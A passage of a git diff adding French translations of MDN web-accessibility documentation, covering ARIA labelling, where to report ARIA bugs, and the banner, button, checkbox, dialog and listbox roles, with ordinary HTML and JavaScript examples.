+ +

Exemple :

+ +

Éteindre l’ordinateur après minutes

+ +
    <input aria-labelledby="labelShutdown shutdownTime shutdownUnit" type="checkbox" />
+    <span id="labelShutdown">Éteindre l’ordinateur après</span>
+    <input aria-labelledby="labelShutdown shutdownTime shutdownUnit" id="shutdownTime" type="text" value="10" />
+    <span id="shutdownUnit"> minutes</span>
+
+ +

Pour les utilisateurs de JAWS 8

+ +

JAWS 8.0 possède sa propre logique pour trouver les labels, ce qui lui fait systématiquement supplanter le nomAccessible que peut avoir une boîte texte dans un document HTML. Avec JAWS 8, je n’ai trouvé aucun moyen de lui faire accepter le label de l’exemple ci-dessus. Mais NVDA et Window-Eyes le font très bien, et Orca sur Linux n’a aucun problème non plus.

+ +

Peut-on faire la même chose sans ARIA ?

+ +

Ben Millard fait remarquer dans un billet que  les contrôles peuvent être imbriqués dans des labels, comme démontré dans l'exemple ci-dessus avec HTML 4, simplement en imbriquant l'élément input dans le label. Merci pour cette info, Ben ! Elle est vraiment utile et montre que certaines techniques existantes depuis des années nous échappe, même aux gourous que nous sommes. Cette technique fonctionne dans Firefox ; cependant, elle ne fonctionne actuellement pas dans de nombreux autres navigateurs, y compris IE. Donc, pour les labels comprenant des contrôles de formulaires, l'utilisation de aria-labelledby est encore la meilleure approche.

+ +
TBD: Ajouter plus d’infos sur la compatibilité
diff --git a/files/fr/web/accessibility/aria/how_to_file_aria-related_bugs/index.html b/files/fr/web/accessibility/aria/how_to_file_aria-related_bugs/index.html new file mode 100644 index 0000000000..503d23637e --- /dev/null +++ b/files/fr/web/accessibility/aria/how_to_file_aria-related_bugs/index.html @@ -0,0 +1,96 @@ +--- +title: Comment déposer un bug lié à ARIA +slug: Accessibilité/ARIA/Comment_deposer_un_bug_lie_a_ARIA +tags: + - ARIA + - Bugzilla +translation_of: Web/Accessibility/ARIA/How_to_file_ARIA-related_bugs +--- +

L'état de la technologie ARIA a toujours dépendu de la communauté. Si vous remarquez un problème d'implémentation, veuillez prendre un instant pour en informer les développeurs. Voici comment déposer les bugs :

+ +
Quand vous trouvez un bug, veuillez en aviser les tables de compatibilité liées dans la page des exemples.
+ +

A faire : ajouter la bon lien d'accessibilité à la table

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
GenreProgrammeOù déposerNotes
Lecteurs d'écran +

Freedom Scientific JAWS

+ 		formulaire de support technique JAWS
GW Micro Window Eyescommentaires, questions et retours Window-Eyes (email) 
Non Visual Desktop Access (NVDA)Déposer un bug NVDA (github)Discuter des problèmes NVDA
OrcaDéposer un bug Orca 
NavigateursApple SafariDéposer un bug WebKit.org 
Google ChromeDéposer un bug Chromium 
+

Microsoft Internet Explorer

+ 		Déposer un bug IEVoir les bugs ARIA Firefox existants
Mozilla Firefox +

Déposer un bug Firefox

+ 		+

Utiliser le composant : Disability Access APIs

+
OperaDéposer un bug OperaMarquer [ARIA] dans le sommaire
Librairies JSDojo ToolkitDéposer un bug DojoMarquer [Accessibilité] dans le champ composant
Google Web Toolkit (GWT)Déposer un bug GWT 
Yahoo User InterfaceDéposer un bug YUIDéposer contre le composant associé dans la combobox catégorie et inclure [ARIA] dans le sommaire
diff --git a/files/fr/web/accessibility/aria/index.html b/files/fr/web/accessibility/aria/index.html new file mode 100644 index 0000000000..86ca0aa284 --- /dev/null +++ b/files/fr/web/accessibility/aria/index.html @@ -0,0 +1,123 @@ +--- +title: ARIA +slug: Accessibilité/ARIA +tags: + - ARIA + - Accessibilité + - Applications + - Web +translation_of: Web/Accessibility/ARIA +--- +

Accessible Rich Internet Applications (ARIA) (qu'on pourrait traduire par « applications internet riches et accessibles ») sont un ensemble un attribut qui définit comment rendre le contenu et les applications web accessibles.

+ +

ARIA complète HTML afin que les éléments interactifs et les widgets puissent être utilisés par les outils d'assistance quand les fonctionnalités standard ne le permettent pas. Ainsi, ARIA permet de rendre accessible les widgets JavaScript, les indications dans les formulaires, les messages d'erreur et les mises à jour dynamiques du contenu, etc.

+ +
+

Attention ! La plupart de ces widgets ont été intégrés au sein d'HTML5 et mieux vaudra donc utiliser les éléments « sémantiques » HTML lorsqu'ils sont disponibles. Ainsi, les éléments natifs disposent de fonctionnalités de navigation au clavier, de rôles et d'états définis en standard. Toutefois, lorsque vous choisissez d'utiliser ARIA, il vous revient de recoder les fonctionnalités équivalentes dans vos scripts.

+
+ +

Voici un widget utilisé pour une barre de progression :

+ +
<div id="percent-loaded" role="progressbar" aria-valuenow="75"
+     aria-valuemin="0" aria-valuemax="100" />
+ +

Cette barre de progression utilise un élément <div> qui n'a pas de sémantique forte. Malheureusement, HTML 4 ne possède pas d'élément natif avec la sémantique nécessaire et on doit donc inclure les rôles et propriétés ARIA. Ici, l'attribut role="progressbar" indique au navigateur qu'il s'agit d'une barre de progression mise à jour en JavaScript. Les attributs aria-valuemin et aria-valuemax indiquent les valeurs minimales et maximales pour cette barre tandis que aria-valuenow décrit l'état actuel de la barre et cette valeur doit être mise à jour par le code JavaScript.

+ +

En plus des déclarations statiques dans le contenu HTML, les attributs ARIA peuvent être ajoutés aux éléments et être mis à jour grâce à JavaScript :

+ +
// Trouver la barre de progression <div> dans le DOM.
+ var progressBar = document.getElementById("percent-loaded");
+
+// Définir les rôles et les états ARIA
+// afin que les technologies d'assistance puissent les
+// identifier/exploiter correctement
+ progressBar.setAttribute("role", "progressbar");
+ progressBar.setAttribute("aria-valuemin", 0);
+ progressBar.setAttribute("aria-valuemax", 100);
+
+// Créer une fonction qui peut être appelée à tout moment
+// pour mettre à jour la valeur de la barre de progression
+ function updateProgress(percentComplete) {
+   progressBar.setAttribute("aria-valuenow", percentComplete);
+ }
+ +
+

Note : ARIA  a été inventé après HTML4 et ne valide pas HTML4 ou les variantes XHTML. Toutefois, les gains d'accessibilité l'emportent sur cette invalidité.

+ +

En HTML5, tous les attributs ARIA sont valides. Les nouveaux éléments de navigation (<main>, <header>, <nav> etc.) possèdent des rôles ARIA natifs et il n'est pas nécessaire de les dupliquer.

+
+ +

Prise en charge

+ +

À l'instar des autres technologies web, la prise en charge d'ARIA est plus ou moins hétérogène parmi les différents navigateurs. La prise en charge d'ARIA repose à la fois sur le navigateur, sur le système d'exploitation sous-jacent et sur la technologie d'assistance utilisée. Certaines versions antérieures de logiciels pourront ne pas prendre en charge (ou que partiellement) certains rôles ARIA.

+ +

On notera également que certaines personnes qui utilisent des outils d'assistance hésitent à mettre à jour leurs logiciels de peur de perdre les fonctionnalités liées à l'ordinateur et au navigateur. Pour ces raisons, mieux vaudra utiliser des éléments HTML « sémantiques » dès que possible car cela maximisera la prise en charge des technologies d'assistance.

+ +

Il est aussi important de tester l'ARIA écrit avec des technologies d'assistance réelles. Bien qu'il existe certains émulateurs et simulateurs, rien ne vaut un test réel afin d'obtenir suffisamment de garanties.

+ +
+
+
+

Tutoriels

+ +
+
Introduction à ARIA
+
Une rapide introduction à ARIA pour rendre accessible le contenu dynamique. Voir aussi l'introduction à ARIA de Gez Lemon en 2008
+
Vidéos de lecteurs d'écran utilisant ARIA
+
Des exemples concrets et d'autres simplifiés avec des vidéos comparatives entre l'état « avant ARIA » et « après ARIA ».
+
Utiliser ARIA
+
Un guide pratique pour les développeurs qui fournit également des suggestions quant aux attributs ARIA à utiliser sur les éléments HTML sur la base d'implémentations concrètes.
+
+ +

Améliorations légères avec ARIA

+ +
+
Améliorer la navigation avec les balises (landmarks) ARIA
+
Une introduction à l'utilisation des balises ARIA afin d'améliorer la navigation au sein d'une page web pour les utilisateurs de lecteur d'écran. Voir aussi les notes d'implémentation pour les balises ARIA (mis à jour en juillet 2011).
+
Améliorer l'accessibilité des formulaires
+
ARIA ne se limite pas au contenu dynamique ! Apprenez comment améliorer l'accessibilité des formulaires HTML grâce aux attributs ARIA.
+
+ +

ARIA pour les widgets scriptés

+ +
+
Concevoir des widgets JavaScript navigables au clavier
+
Les éléments tels que <input>, <button> disposent de fonctionnalités natives pour l'utilisation au clavier. Si on triche en utilisant des <div> et ARIA, on doit s'assurer que l'accessibilité au clavier soit préservée.
+
Régions dynamiques (live regions)
+
Les régions dynamiques fournissent des suggestion aux lecteurs d'écran sur la façon dont gérer la modification du contenu d'une page.
+
Utiliser les régions dynamiques ARIA afin d'indiquer une modification de contenu
+
Un rapide résumé des régions interactives par les concepteurs du lecteur d'écran JAWS. Les régions dynamiques sont également prises en charge par NVDA pour Firefox et par  VoiceOver avec Safari.
+
+
+ +
+

Processus de standardisation

+ +
+
La spécification WAI-ARIA
+
La spécification rédigée par le W3C.
+
Bonnes pratiques afin d'écrire avec WAI-ARIA
+
+

Les documents officiels décrivant les meilleurs pratiques pour appliquer ARIA aux widgets et aux mécanismes interactifs.

+
+
+ +

Videos

+ +

ARIA, les API pour l'accessibilité : coder comme si ça vous intéressait ! de Léonie Watson (en anglais)

+ +

Rapporter des bogues

+ +

Rapporter des bogues d'accessibilté/ARIA sur les navigateurs, les lecteurs d'écran et les bibliothèques JavaScript.

+
+
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/accessibility/aria/roles/banner_role/index.html b/files/fr/web/accessibility/aria/roles/banner_role/index.html new file mode 100644 index 0000000000..3a717bbdaa --- /dev/null +++ b/files/fr/web/accessibility/aria/roles/banner_role/index.html @@ -0,0 +1,39 @@ +--- +title: Utilisation du rôle banner +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_banner +tags: + - ARIA + - Accessibilité + - NeedsContent + - Rôle +translation_of: Web/Accessibility/ARIA/Roles/Banner_role +--- +

Description

+ +
Cette technique présente l’utilisation du rôle banner (en).
+ +

La zone d’entête principale d'un site devrait être structurée avec  <header role="banner">. Cette zone peut contenir le logo du site, sa description, le moteur de recherche.

+ +

Une page web ne doit pas contenir plus d'un rôle banner, mais il est tout à fait possible d'utiliser plusieurs éléments <header> dans une page.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

 

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Une zone d'entête typique de site 

+ +
<header role="banner">
+  <p><img src="logo.png" alt="Nom du site"></p>
+  <p>Description du site</p>
+  <div role="search">
+    ...
+  </div>
+</header>
+ +

Autres ressources

+ +

La fiche accede-web.

diff --git a/files/fr/web/accessibility/aria/roles/button_role/index.html b/files/fr/web/accessibility/aria/roles/button_role/index.html new file mode 100644 index 0000000000..55038b46da --- /dev/null +++ b/files/fr/web/accessibility/aria/roles/button_role/index.html @@ -0,0 +1,123 @@ +--- +title: Utilisation du rôle button +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_button +tags: + - ARIA + - Accessibilité + - Role(2) + - Rôle + - À relire +translation_of: Web/Accessibility/ARIA/Roles/button_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle button.

+
+ +

Ce rôle devrait être utilisé pour des éléments cliquables qui déclenchent une réponse lorsqu’activés par l’utilisateur. Par lui-même, role="button peut faire apparaître n’importe quel élément (par exemple <p>, <span> ou <div>) sous la forme d'un contrôle bouton à un lecteur d’écran. De plus ce rôle peut être utilisé en combinaison avec l’attribut aria-pressed pour créer des boutons à bascule.

+ +
Note : lorsque c’est possible, il est recommandé d’utiliser les boutons HTML natifs (<button>, <input type="button" /> et <input type="image" />) plutôt que le rôle button, les boutons HTML étant plus largement pris en charge par les anciennes technologies d’assistance. Les boutons HTML natifs obéissent également par défaut aux évènements clavier et aux règles de focus, sans besoin de personnalisation supplémentaire.
+ +

Clavier et focus

+ +

Les boutons sont des contrôles interactifs et doivent donc être focalisables. Si le rôle button est ajouté à un élément qui n’est par lui-même pas focalisable (tels que <span>,<div> ou<p>), l’attribut tabindex devra être utilisé pour rendre le bouton focalisable.

+ +

Les boutons doivent pouvoir être actionnés tant par une souris qu’avec un clavier. Pour les boutons HTML natifs, l’évènement onclick du bouton sera déclenché par les clics de souris et lorsque la barre d’espace ou la touche entrée est actionnée alors que le bouton a le focus. Si role="button" est utilisé pour créer un bouton personnalisé, l’évènement onclick ne sera déclenché qu’après un clic par le pointeur de la souris. À cause de cela, le développeur devra explicitement ajouter un gestionnaire d’évènements clavier séparé à l’élément pour que le bouton puisse être actionné lorsque les touches barre d’espace ou entrée sont pressées.

+ +
Attention : faites attention à l’utilisation de rôle button pour des liens. Les boutons devraient être actionnés à l’aide de la barre d’espace ou la touche entrée, alors qu’on s’attend à ce que les liens soient déclenchés avec la touche Entrée. En d’autres termes, lorsque des liens sont utilisés comme des boutons, le seul ajout de role="button" n’est pas suffisant. Il est également nécessaire d’ajouter un gestionnaire d’évènement clavier qui surveillera la barre d'espace afin d’être cohérent avec les boutons natifs.
+ +

Boutons à bascule

+ +

Un des avantages de l’utilisation de role="button" est qu’il permet la création de boutons à bascule. Un bouton à bascule peut avoir deux états : pressé et non pressé. Qu’un bouton soit ou non un bouton à bascule peut être indiqué avec l’attribut aria-pressed en plus du rôle button :

+ +
    +
  • Si aria-pressed n’est pas utilisé, le bouton n’est pas un bouton à bascule ;
    • +
  • Si aria-pressed="false" est utilisé, le bouton est un bouton à bascule au repos ;
    • +
  • Si aria-pressed="true" est utilisé, le bouton est un bouton à bascule actionné ;
    • +
  • Si aria-pressed="mixed" est utilisé, le bouton est considéré comme étant partiellement actionné.
    • +
+ +

Labelliser les boutons

+ +

Les boutons doivent toujours avoir un nom accessible. Pour la plupart des boutons, ce nom sera le même que le texte du bouton. Dans certains cas, par exemple pour des boutons icônes, le nom accessible peut être donné à l’aide des attributs aria-label ou aria-labelledby.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque le rôle button est utilisé, les agents utilisateurs doivent présenter l’élément comme un contrôle bouton à l’API accessibilité du système d’exploitation. Les lecteurs d’écran doivent annoncer l’élément comme un bouton et décrire son nom accessible. Les logiciels de reconnaissance vocale doivent autoriser le bouton à s’activer en dictant le mot « clic » suivi par le nom accessible du bouton.

+ +
Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : un bouton simple

+ +

Dans l’extrait de code ci-dessous, on donne le rôle button à un élément <span>. Parce qu’un élément <span> est utilisé, l’attribut tabindex est requis pour rendre le bouton focalisable et le faire appartenir à l’ordre de tabulation. Remarquez que cet extrait de code implique que les styles CSS sont fournis pour donner l’apparence d’un bouton à l’élément <span> et que hanldeBtnClick et handleBtnKeyUp sont des gestionnaires d’événements qui exécutent l’action du bouton lorsqu’il est cliqué et lorsque la barre d’espace est pressée.

+ +
<span role="button" tabindex="0" onclick="handleBtnClick()" onKeyUp="handleBtnKeyUp()">Enregistrer</span>
+ +

Exemple 2 : un bouton à bascule

+ +

Dans cet extrait de code, un bouton HTML natif est converti en un bouton à bascule à l’aide de l’attribut aria-pressed. Remarquez que l’attribut tabindex n’a pas à être utilisé ici car l’élément <button> est déjà focalisable par défaut. Lorsque le bouton est activé, la valeur de aria-pressed bascule entre true et false :

+ +
<!DOCTYPE HTML>
+<html lang="fr">
+  <head>
+    <meta charset="UTF-8">
+    <title>Exemple de rôle ARIA button</title>
+    <style type="text/css">
+      [role="button"] {
+       padding:3px;
+       border: 1px solid #CCC;
+      }
+      [role="button"][aria-pressed="true"] {
+       border: 2px solid #000;
+      }
+     </style>
+    <script type="text/JavaScript">
+      function handleBtnClick(event) {
+        event = event || window.event;
+        var pressed = event.target.getAttribute("aria-pressed") == "true";
+        //change la valeur de aria-pressed quand le bouton est basculé :
+        event.target.setAttribute("aria-pressed", pressed ? "false" : "true");
+        //… (perform the button's logic here)
+      }
+
+      function handleBtnKeyUp(event) {
+        event = event || window.event;
+        if (event.keyCode === 32) { // contrôle la touche espace
+          handleBtnClick(event);
+        }
+      }
+    </script>
+  </head>
+
+  <body>
+    <button role="button" aria-pressed="false" onclick="handleBtnClick(event)" onKeyUp="handleBtnKeyUp(event)">Mode Édition</button>
+  </body>
+</html>
+
+ +

Exemples concrets :

+ + + +

Notes

+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

diff --git a/files/fr/web/accessibility/aria/roles/checkbox_role/index.html b/files/fr/web/accessibility/aria/roles/checkbox_role/index.html new file mode 100644 index 0000000000..5b42eb0583 --- /dev/null +++ b/files/fr/web/accessibility/aria/roles/checkbox_role/index.html @@ -0,0 +1,52 @@ +--- +title: Utilisation du rôle checkbox +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_checkbox +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/Roles/checkbox_role +--- +

Description

+
+

Cette technique présente l’utilisation du rôle checkbox.

+
+

Le rôle checkbox est utilisé pour des contrôles interactifs à cocher. Si un élément utilise role="checkbox", il est obligatoire pour cet élément d’avoir également un attribut aria-checked qui présente l’état de la case à cocher aux technologies d’assistance. Alors que le contrôle de formulaire HTML natif checkbox ne peut avoir que deux états (« coché » ou « décoché »), un élément avec le rôle role=checkbox peut présenter trois états pour l'attribut aria-checked :

+
    +
  • aria-checked="true" : la case est cochée ;
    • +
  • aria-checked="false" : la case est décochée ;
    • +
  • aria-checked="mixed" : la case est partiellement cochée.
    • +
+

Le développeur doit modifier dynamiquement la valeur de l’attribut aria-checked lorsque la case est cochée.

+

Comme une case à cocher est un contrôle interactif, elle doit pouvoir recevoir le focus et être accessible au clavier. Si le rôle est appliqué à un élément qui ne peut recevoir le focus, l’attribut tabindex devra être utilisé pour corriger cela. Le raccourci clavier attendu pour activer une case à cocher est la barre d’espace.

+

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+

Lorsque le rôle checkbox est ajouté à un élément, l’agent utilisateur devrait suivre les étapes suivantes :

+
    +
  • Présenter l’élément comme ayant un rôle de case à cocher à l’API d’accessibilité du système d’exploitation ;
    • +
  • Lorsque la valeur de l’attribut aria-checked change, envoyer un événement accessible de changement d’état.
    • +
+

Les technologies d’assistance doivent faire la chose suivante :

+
    +
  • Les lecteurs d’écran devraient annoncer l’élément comme une case à cocher, et, éventuellement, fournir des instructions sur les façons de l’activer.
    • +
+
+ Note : il existe plusieurs points de vue sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+

Exemples

+

Exemple 1 : Ajout du rôle ARIA checkbox

+
<span role="checkbox" aria-checked="false" tabindex="0" id="chk1"></span>
+<label for="chk1">Enregistrer mes préférences</label>
+
+

Exemples concrets :

+ +

Notes

+

Attributs ARIA utilisés

+ +

Techniques ARIA connexes

+

Compatibilité

+

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+

Autres ressources

diff --git a/files/fr/web/accessibility/aria/roles/dialog_role/index.html b/files/fr/web/accessibility/aria/roles/dialog_role/index.html new file mode 100644 index 0000000000..62da7745fb --- /dev/null +++ b/files/fr/web/accessibility/aria/roles/dialog_role/index.html @@ -0,0 +1,148 @@ +--- +title: Utilisation du rôle dialog +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_dialog +tags: + - ARIA + - Accessibilité + - Développement Web + - Rôle +translation_of: Web/Accessibility/ARIA/Roles/dialog_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle dialog (en).

+
+ +

Le rôle dialog est utilisé pour marquer une fenêtre ou une boîte de dialogue d’application web qui sépare le contenu ou l’UI du reste de l’application web ou de la page. Visuellement, les boîtes de dialogues sont généralement placées par dessus le contenu de la page, à l’aide d’un calque (ou « Overlay »). Les boîtes de dialogue peuvent être non-modales (ce qui signifie qu’il est toujours possible d’interagir avec le contenu situé hors de la boîte de dialogue) ou modales (ce qui signifie qu’on ne peut interagir qu’avec le contenu de la boîte de dialogue).

+ +

Marquer un élément de dialogue avec le rôle dialog aide les technologies d’assistance à identifier le contenu des boîtes de dialogue comme étant regroupé et séparé du reste du contenu de la page. Cependant, le seul ajout de role="dialog" n’est pas suffisant pour rendre une boîte de dialogue accessible. De plus, il faut veiller à ce qui suit :

+ +
    +
  • La boîte de dialogue doit être correctement labélisée ;
    • +
  • Le focus clavier doit être géré correctement.
    • +
+ +

Les sections ci-dessous décrivent comment ces deux exigences peuvent être satisfaites.

+ +

Labélisation

+ +

Bien qu’il ne soit pas obligatoire que la boîte de dialogue elle-même reçoive le focus, elle doit quand même besoin d’être labélisée. Le label donné à la boîte de dialogue fournira des informations contextuelles pour les contrôles interactifs qu’elle contient. En d’autres termes, le label de la boîte de dialogue agit comme label de regroupement pour les contrôles qu’elle contient. On peut comparer cela à la façon dont un élément <legend> fournit un label de regroupement pour les contrôles contenus dans un élément <fieldset>.

+ +

Si une boîte de dialogue a une barre de titre visible, le texte de cette barre peut être utilisé comme label pour la boîte elle-même. La meilleure façon de le faire est d’utiliser l’attribut aria-labelledby pour l’élément role="dialog". De plus, si la boîte de dialogue contient une description supplémentaire, en plus du titre de la boîte, le texte de la description peut être associé avec la boîte de dialogue à l’aide de l’attribut aria-describedby. Cette approche est illustrée dans l’extrait de code ci-dessous :

+ +
<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+    <h2 id="dialog1Title">Vos informations personnelles ont correctement été actualisées.</h2>
+
+    <p id="dialog1Desc">Vous pouvez modifier vos informations personnelles à n’importe quel moment depuis la section « Compte utilisateur. »</p>
+
+    <button>Fermer</button>
+</div>
+
+ +
Gardez en tête que le titre d’une boîte de dialogue et sa description ne doivent pas être focalisables afin de toujours être perçus par les lecteurs d’écran opérant en mode non-virtuel. La combinaison du rôle ARIA dialog et des techniques de labélisation devrait permettre aux lecteurs d’écran d’annoncer les informations de la boîte de dialogue lorsque le focus arrive sur cette dernière.
+ +

Gestion du focus

+ +

Une boîte de dialogue a des exigences particulières concernant la façon dont le focus clavier doit être géré :

+ +
    +
  • Les boîtes de dialogue doivent avoir au moins un contrôle focalisable. Pour de nombreuses boîtes de dialogues, ce contrôle sera un bouton « Fermer », « OK » ou « Annuler. » En plus de cela, les boîtes de dialogue peuvent contenir n’importe quelle quantité d’éléments focalisables, même des formulaires ou d'autres composants conteneurs comme des onglets.
    • +
  • Quand la boîte de dialogue s’affiche à l’écran, le focus clavier devrait être placé sur le contrôle focalisable par défaut de la boîte de dialogue. Ce contrôle dépend de la fonction des boîtes de dialogue. Pour les boîtes de dialogue ne fournissant qu’un texte simple, ce pourra être un bouton « OK ». Pour les boîtes de dialogue contenant un formulaire, ce pourra être le premier champ à renseigner du formulaire.
    • +
  • Pour la plupart des boîtes de dialogue, le comportement attendu est que l’ordre de tabulation de la boîte tourne, c’est-à-dire que le premier élément focalisable sera focalisé après que le dernier élément focalisable de la boîte de dialogue aura été atteint lorsque l’utilisateur tabule. En d’autres termes, l’ordre de tabulation doit être contenu par la boîte de dialogue.
    • +
  • Si la boîte de dialogue peut être déplacée ou redimensionnée, assurez-vous que ces actions peuvent être exécutées par les utilisateurs de clavier tout comme les utilisateurs de souris. De la même façon, si une boîte de dialogue fournit certaines fonctionnalités, comme des barres d’outils ou des menus contextuels, celles-ci doivent également être accessibles et pouvoir être actionnées par les utilisateurs de clavier.
    • +
  • Les boîtes de dialogue peuvent être modales ou non modales. Lorsqu’une boîte de dialogue modale s’affiche à l’écran, il n’est pas possible d’interagir avec le reste du contenu de la page. En d’autres termes, l’UI principale de l’application ou le contenu de la page est considéré comme temporairement désactivé tant que la boîte de dialogue modale est affichée. Pour les boîtes de dialogue non modales il est toujours possible d’interagir avec du contenu extérieur à la boîte lorsqu’elle est affichée. Pour les boîtes de dialogue non modales, il y devra toujours y avoir un raccourci clavier global permettant de déplacer le focus entre les boîtes de dialogue ouvertes et la page principale. Pour plus d’informations, lisez le guide Gérer les dialogues modaux et non modaux.
    • +
+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque le rôle dialog est utilisé, l’agent utilisateur doit faire la chose suivante :

+ +
    +
  • Présenter l’élément comme une boîte de dialogue à l’API accessibilité du système d’exploitation.
    • +
+ +

Lorsque la boîte de dialogue est correctement labélisée et que le focus est déplacé vers un contrôle à l’intérieur de la boîte, les lecteurs d’écran devraient annoncer le rôle accessible du dialogue, son nom et éventuellement sa description avant d’annoncer l’élément qui a reçu le focus.

+ +
Note : plusieurs points de vue existent sur la façon dont les technologies d’assistance devraient traiter cette technique. L’information fournie ci-dessus est l’une de ces opinions et n’est pas normative.
+ +

Exemples

+ +

Exemple 1 : une boîte de dialogue contenant un formulaire

+ +
<div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+    <h2 id="dialog1Title">Formulaire de souscription</h2>
+
+    <p id="dialog1Desc">Nous ne partageons pas ces informations avec des tierces parties.</p>
+
+    <form>
+        <p>
+            <label for="firstName">Prénom</label>
+            <input id="firstName" type="text" />
+        </p>
+
+        <p>
+            <label for="lastName">Nom</label>
+            <input id="lastName" type="text" />
+        </p>
+
+        <p>
+            <label for="interests">Intérêts</label>
+            <textarea id="interests"></textarea>
+        </p>
+
+        <p>
+            <input type="checkbox" id="autoLogin" />
+            <label for="autoLogin">Intérêts</label>
+        </p>
+
+        <p>
+            <input type="submit" value="Enregistrer les informations"/>
+            </p>
+    </form>
+</div>
+
+ +

Exemple 2 : une boîte de dialogue basée sur un Fieldset comme contenu alternatif

+ +

Pour prendre en charge les navigateurs ou les produits de technologies d’assistance qui ne prennent pas ARIA en charge, il est également possible d’appliquer le balisage dialog à un élément fieldset comme contenu alternatif. Ainsi le titre de la boîte de dialogue sera toujours annoncé correctement :

+ +
<fieldset role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc">
+    <legend>
+        <span id="dialog1Title">Vos informations personnelles ont correctement été actualisées.</span>
+        <span id="dialog1Desc">Vous pouvez modifier vos informations personnelles à n’importe quel moment depuis la section « Compte utilisateur ».</span>
+    </legend>
+
+    <button>Fermer</button>
+</fieldset>
+
+ +

Exemples concrets :

+ + + +

Notes

+ +
Note : bien qu'il soit possible d’empêcher les utilisateurs de clavier de bouger le focus vers des éléments en dehors des boîtes de dialogues, les utilisateurs de lecteurs d’écran ont toujours la possibilité de parcourir ce contenu pratiquement en utilisant le curseur virtuel du lecteur d’écran. À cause de cela, les boîtes de dialogue sont considérées comme des cas spéciaux du rôle application : on s’attend à ce qu’elles soient parcourues avec le mode de navigation non-virtuel par les utilisateurs de lecteur d’écran.
+ +

Attributs ARIA utilisés

+ + + +

Techniques ARIA connexes

+ + + +

Compatibilité

+ +

À définir : ajouter les informations de prise en charge pour les combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance.

+ +

Autres ressources

diff --git a/files/fr/web/accessibility/aria/roles/listbox_role/index.html b/files/fr/web/accessibility/aria/roles/listbox_role/index.html new file mode 100644 index 0000000000..5deca20928 --- /dev/null +++ b/files/fr/web/accessibility/aria/roles/listbox_role/index.html @@ -0,0 +1,97 @@ +--- +title: Utiliser le rôle listbox +slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_listbox +tags: + - ARIA + - Accessibilité + - Rôle +translation_of: Web/Accessibility/ARIA/Roles/listbox_role +--- +

Description

+ +
+

Cette technique présente l’utilisation du rôle listbox et décrit les effets produits sur les navigateurs et les technologies d’assistance.

+
+ +

Le rôle listbox est utilisé pour identifier un élément qui crée une liste à partir de laquelle un utilisateur peut sélectionner un ou plusieurs éléments statiques et peut contenir des images, contrairement à l’élément HTML {{ HTMLElement("select") }}. Lorsque ce rôle est ajouté à un élément, le navigateur émettra un événement accessible listbox aux produits de technologie d’assistance qui pourront alors le notifier à l’utilisateur.

+ +

Chaque entrée de la boîte liste devrait avoir un rôle d’option et devrait être une descendante de la boîte liste dans l’arbre DOM. Si une ou plusieurs entrées ne sont pas des descendantes de la boîte liste dans le DOM, référez-vous aux Bonnes pratiques ARIA pour obtenir plus de détails sur les propriétés additionnelles qui doivent être définies.

+ +

Lorsqu’on navigue entre les différents éléments d’une liste, le premier élément de la liste sera sélectionné par défaut en l’absence de sélection existante. Les flèches haut et bas permettent de naviguer dans la liste, et appuyer sur Maj+Flèche haut/bas déplacera et développera la sélection. Saisir un ou plusieurs lettres permet de naviguer dans la liste des éléments (une seule et même lettre positionnera la sélection sur chacun des éléments qui commence par elle, plusieurs lettres placeront la sélection sur le premier élément commençant par la chaîne). Si l’élément courant est associé à un menu contextuel, Maj+F10 affichera ce menu. Si les éléments de la liste peuvent être cochés, Espace peut être utilisée pour basculer l’état de la checkboxes. Pour les éléments de liste sélectionnables, Espace bascule l’état de sélection, Maj+Espace peut être utilisé pour sélection des éléments contigus, Ctrl+Flèche déplace le curseur sans sélectionner d’élément, et Ctrl+Espace peut être utilisé pour sélectionner des éléments non-contigus. Il est recommandé d’utiliser une case à cocher, un lien ou tout autre méthode pour permettre la sélection de tous les éléments, et Ctrl+A peut être utilisé comme raccourci pour cela.

+ +

Effets possibles sur les agents utilisateurs et les technologies d’assistance

+ +

Lorsque le rôle listbox est ajouté à un élément, ou qu’un tel élément devient visible, l’agent utilisateur devrait suivre les étapes suivantes :

+ +
    +
  • Présenter l’élément comme ayant un rôle d’alerte à l’API d’accessibilité du système d’exploitation. Alternativement, s’il est un enfant de ou s’il appartient à une boîte combinée combobox, présenter l’élément comme un menu ;
    • +
  • Déclencher un événement liste (ou dans les cas spéciaux, un événement menu) accessible à l’aide l’API d’accessibilité du système d’exploitation si elle le prend en charge.
    • +
+ +

Les technologies d’assistance devraient être à l’écoute de tels événements et les notifier à l’utilisateur en conséquence :

+ +
    +
